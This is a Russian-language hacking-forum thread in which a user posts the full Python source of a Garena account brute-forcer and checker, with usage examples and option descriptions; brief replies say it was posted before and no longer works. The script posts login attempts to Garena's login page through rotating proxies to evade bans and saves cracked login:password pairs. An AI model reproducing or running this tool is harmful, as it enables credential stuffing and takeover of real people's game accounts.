Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Игровые платформы, клиенты > Garena Gaming Community > Garena Brut/Взлом паролей
Присоединяйся к нам

Garena Brut/Взлом паролей Бруты, взломщики паролей, софт для брута, базы данных аккаунтов. А так же любые программы которые помогут в поиске, взломе и бруте Garena аккаунтов.



Закрытая тема
 
Опции темы Опции просмотра
Старый 25.05.2010, 17:52   #1
Lost


 
Аватар для N.e.o.
 
Регистрация: 20.08.2009
Адрес: Matrix
Сообщений: 1,028
Репутация: 802
Автор По умолчанию

Garena брутфорс и чекер


Сразу говорю, не уверен на 100% что от рабочий, так как сам не пробовал, но все же.

Версия: 0.1.
Возможности:
Брут аккаунтов Garena.
Чекер аккаунтов Garena.
Работа через HTTP запросы.
Поддержка HTTP-проксей(опционально).

Описание опций:
brute – режим брутфорса аккаунтов.
check – режим чекера аккаунтов.
-a или –accounts – задаёт расположение файла со списком
аккаунтов.
-с или –count – количество потоков.
-p или –passwords – задаёт расположение файла со списком паролейтов.
-s или –split – задаёт символ разделения между логином и паролем(login;pass).
-f или –fileproxy – задаёт расположение файла со списком прокси.
-o или –out – задаёт расположение файла куда будет сохранен валид.
-d или –dontchec – ели вы не хотите ждать пока скрипт проверить прокси на валидность, используйте эту опцию.
-n или –n_step – при работе программы могут закончится списки с прокси и процесс может оборваться на середине или в конце. Чтобы не начинать с самого начала, после вывода сообщении о нехватки прокси, рядом будет указан шаг где остановился скрипт. Пример: "[!] Proxy is empty! Step stop is 10" – после пополнения списка прокси, задаём шаг с десяти: ./script.py … -n 10

Для работы скрипта требуется Python 2.4-2.6.

[Ссылки скрыты от гостей.]

Пример запуска брута:
Цитата:
python ./garena_tool.py brute
Пример запуска проверки на валид и задание символа(":") разделяющий логин от пароля:
Цитата:
python ./garena_tool.py check -s :
Исходный код:
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#(c) h1z, http://www.mr-h1z.com
#Garena Tools v0.1
 
import sys, urllib, urllib2, re, socket, threading, getopt, datetime
 
time_work=datetime.datetime.now()
accounts="accounts.txt"
threads=10
passwords="passwords.txt"
split=";"
out=""
proxy="proxy.txt"
th_count,p_index=0,0
valid=[]
proxy_check=True
ban=False
step=0
garena_headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
           'Host' : 'www1.garena.com',
           'Referer' : 'http://www1.garena.com/clan/index.php?module=login',
           'Connection' : 'close',
           'Pragma' : 'no-cache',
           'Cache-Control' : 'no-cache',
           'Content-Type':'application/x-www-form-urlencoded; charset=utf-8',
    }
 
class Proxy:
    def __init__(self, time_out=80, check_url="http://www1.garena.com/clan/index.php?module=login", inside_text="<title>GG Clan  - Log In</title>"):
        self._sock=socket
        self._sock.setdefaulttimeout(time_out)
        self._check_url=check_url
        self._inside_text=inside_text
        self._proxy_buf=[]
        self._proxy_list=[]
        self._thread_count=0
 
    def check(self, proxy):
        try:
            proxy_handler = urllib2.ProxyHandler({'http': proxy})
            opener = urllib2.build_opener(proxy_handler)
 
            opener.addheaders = [('User-agent', 'Mozilla/5.0')]
            urllib2.install_opener(opener)
            req=urllib2.Request(self._check_url)
            self._sock=urllib2.urlopen(req)
            if (self._sock.read().index(self._inside_text))>=0:
                return True
        except:
            return False
 
    def check_all(self, proxy_list=[], thread_count=10):
        if type([])==type(proxy_list) and len(proxy_list)>0:
            self._proxy_list=[]
            self._proxy_buf=proxy_list
            self._thread_count=thread_count
            for i in range(thread_count):
                thr=threading.Thread(target=self._thread_check, name=str(i))
                thr.start();
            while (self._thread_count>0):
                pass
            return self._proxy_list
 
    def _thread_check(self):
        while (len(self._proxy_buf)>0):
            try:
                item=self._proxy_buf.pop()
                if self.check(item):
                    self._proxy_list.append(item)
            except:
                pass
        self._thread_count-=1
 
def usage():
    print """(c) h1z, http://www.mr-h1z.com
Usage:
 ./garena_tool.py [type] [options]
Types:
 brute - brutforce garena accounts
 check - check for valid accounts
Options:
 --accounts - file of accounts[default: accounts.txt]
 --count - count of threads[default: 10]
 --passwords - file of passwords[default: passwords.txt]
 --split - split char[default: ';']
 --fileproxy - file of proxy[default: proxy.txt]
 --out - set out file[default: stdout]
 --dontcheck - don't check all proxy
 --n_step - set the step"""
    sys.exit(1)
 
def all_strip(strip):
    ret=[]
    for i in strip:
        ret.append(i.strip())
    return ret
 
def get_proxy():
    global p_index
    if proxy!=None and len(proxy)>0:
        p_index+=1
        if p_index>=len(proxy):
            p_index=0
        return proxy[p_index]
    else:
        return None
 
def del_proxy(_proxy):
    global proxy
    try:
        proxy.remove(_proxy)
    except ValueError:
        pass
 
def garena_check(acc, pwd, _proxy):
    if _proxy!=None:
        _proxy_handler = urllib2.ProxyHandler({'http': _proxy})
        _opener = urllib2.build_opener(_proxy_handler)
        urllib2.install_opener(_opener)
    _post=urllib.urlencode({"cookies_life":"4","username":acc,"password":pwd,"loginSubmit":"Submit"})
    _req=urllib2.Request("http://www1.garena.com/clan/index.php?module=login",_post,garena_headers)
    _data=urllib2.urlopen(_req)
    headers=str(_data.headers)
    try:
        if headers.index("Set-Cookie: pwd=")>0:
            return True
    except ValueError:
        return False
 
def _thread_valid():
    global accounts, th_count
    while (len(accounts)>0):
        try:
            _proxy=get_proxy()
            if _proxy==None:
                ban=True
                th_count-=1
                return
            acc,pwd=accounts.pop().split(split)
            _check=False
            while _check==False:
                try:
                    chk=garena_check(acc,pwd,_proxy)
                    _check=True
                except urllib2.URLError, urllib2.HTTPError:
                    del_proxy(_proxy)
                    _proxy=get_proxy()
                    if _proxy==None:
                        ban=True
                        th_count-=1
                        return
            if chk:
                valid.append(acc+split+pwd)
            if out=="":
                print acc+split+pwd
        except:
            pass
    th_count-=1
 
def _thread_brute():
    global accounts, th_count, passwords, ban
    while (len(accounts)>0):
        try:
            _proxy=get_proxy()
            if _proxy==None:
                ban=True
                th_count-=1
                return
            acc=accounts.pop()
            for pwd in passwords:
                _check=False
                while not _check:
                    try:
                        chk=garena_check(acc,pwd,_proxy)
                        _check=True
                    except urllib2.URLError, urllib2.HTTPError:
                        del_proxy(_proxy)
                        _proxy=get_proxy()
                        if _proxy==None:
                            ban=True
                            th_count-=1
                            return
                if chk:
                    valid.append(acc+split+pwd)
                    if out=="":
                        print acc+split+pwd
                    break
        except:
            pass
    th_count-=1
 
if len(sys.argv)<2 or (sys.argv[1]!="check" and sys.argv[1]!="brute"):
    usage()
try:
    opts, args=getopt.getopt(sys.argv[2:], "da:c:o:s:p:f:n:", ["dontcheck","fileproxy=","accounts=","count=","passwords=","split=","out=","n_step="])
except getopt.GetoptError:
    usage()
for opt, arg in opts:
    if opt in ("-a","--accounts"):
        accounts=arg
    elif opt in ("-c","--count"):
        threads=arg
    elif opt in ("-p","--passwords"):
        passwords=int(arg)
    elif opt in ("-s","--split"):
        split=arg
    elif opt in ("-o","--out"):
        out=arg
    elif opt in ("-f","--fileproxy"):
        proxy=arg
    elif opt in ("-d","--dontcheck"):
        proxy_check=False
    elif opt in ("-n","--n_step"):
        step=int(arg)
check_proxy=Proxy()
print "[i] (c) h1z, http://www.mr-h1z.com"
print "[+] Check proxy list"
try:
    file=open(proxy,'r')
    proxy=file.readlines()
    if proxy_check:
        proxy=check_proxy.check_all(all_strip(proxy))
    file.close()
except:
    proxy=None
try:
    file=open(accounts,'r')
    accounts=all_strip(file.readlines());
    file.close()
except IOError:
    print "[!] File '"+accounts+"' not found!"
    sys.exit(1)
if len(accounts)==0:
    print "[!] Accounts file is empty!"
    sys.exit(1)
accounts=accounts[step:]
if threads>len(accounts):
    threads=len(accounts)
th_count=threads
print "[i] Start",sys.argv[1],"accounts ;)"
if out=="":
    print "-"*40
if sys.argv[1]=="check":
    for i in range(th_count):
        thr=threading.Thread(target=_thread_valid)
        thr.start();
else:
    try:
        file=open(passwords,'r')
        passwords=all_strip(file.readlines());
        file.close()
    except IOError:
        print "[!] File '"+passwords+"' not found!"
        sys.exit(1)
    if len(passwords)==0:
        print "[!] Passwords file is empty!"
        sys.exit(1)
    for i in range(th_count):
        thr=threading.Thread(target=_thread_brute)
        thr.start();
while (th_count!=0):
    pass
if out!="":
    file=open(out,'w')
    for i in valid:
        file.write(i)
    file.close()
else:
    print "-"*40
print "[i] Stop",sys.argv[1],"..."
print "[i] Script work time:",datetime.datetime.now()-time_work
if ban==True:
    print "[!] Proxy is empty! Step stop is", step
else:
    print "[i] Number of valid accounts:",len(valid)
__________________

[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
По женским представлениям, под покровом темноты мужчины могут думать только о сексе. Это неправда. Днем они тоже о нем думают.*face2*
  Наверх
Старый 25.05.2010, 18:03   #2
Гарант-инквизитор

 
Аватар для T.I.I.R.Z.
 
Регистрация: 10.03.2009
Сообщений: 337
Репутация: 212
Отправить сообщение для T.I.I.R.Z. с помощью ICQ
По умолчанию

а кто автор? а то я его видел когдато уже
__________________
[FLOAT="right"]Стрёмная фирменная подпись By UnDeaDRoCUser©
;)
[Ссылки скрыты от гостей.][/FLOAT]
  Наверх
Старый 25.05.2010, 18:09   #3
Lost


 
Аватар для N.e.o.
 
Регистрация: 20.08.2009
Адрес: Matrix
Сообщений: 1,028
Репутация: 802
Автор По умолчанию

Автор
Цитата:
Сообщение от N.e.o. Посмотреть сообщение
#(c) h1z, [Ссылки скрыты от гостей.]
#Garena Tools v0.1
__________________

[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
По женским представлениям, под покровом темноты мужчины могут думать только о сексе. Это неправда. Днем они тоже о нем думают.*face2*
  Наверх
Пользователь сказал cпасибо:
T.I.I.R.Z. (25.05.2010)
Старый 25.05.2010, 18:12   #4
Гарант-инквизитор

 
Аватар для T.I.I.R.Z.
 
Регистрация: 10.03.2009
Сообщений: 337
Репутация: 212
Отправить сообщение для T.I.I.R.Z. с помощью ICQ
По умолчанию

так выкладывали значит уже
__________________
[FLOAT="right"]Стрёмная фирменная подпись By UnDeaDRoCUser©
;)
[Ссылки скрыты от гостей.][/FLOAT]
  Наверх
Старый 25.05.2010, 18:16   #5
Lost


 
Аватар для N.e.o.
 
Регистрация: 20.08.2009
Адрес: Matrix
Сообщений: 1,028
Репутация: 802
Автор По умолчанию

Цитата:
Сообщение от T.I.I.R.Z. Посмотреть сообщение
так выкладывали значит уже
На д3 выкладывали ? Я не нашол в разделе Bruteforces.
__________________

[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
По женским представлениям, под покровом темноты мужчины могут думать только о сексе. Это неправда. Днем они тоже о нем думают.*face2*
  Наверх
Старый 25.05.2010, 18:30   #6
Матерый

 
Аватар для Byter
 
Регистрация: 26.04.2009
Сообщений: 264
Репутация: 261
Отправить сообщение для Byter с помощью ICQ Отправить сообщение для Byter с помощью Skype™
По умолчанию

N.e.o.,как ты мог ево пропустить [Ссылки скрыты от гостей.]
он уже мхом порос и давно не работает))
  Наверх
Старый 25.05.2010, 18:47   #7
Lost


 
Аватар для N.e.o.
 
Регистрация: 20.08.2009
Адрес: Matrix
Сообщений: 1,028
Репутация: 802
Автор По умолчанию

Ну блин... он во флейме, я там не смотрел)) , удаляйте или закривайте или что там положено..(
__________________

[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
По женским представлениям, под покровом темноты мужчины могут думать только о сексе. Это неправда. Днем они тоже о нем думают.*face2*
  Наверх
Закрытая тема


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 21:02. Часовой пояс GMT +4.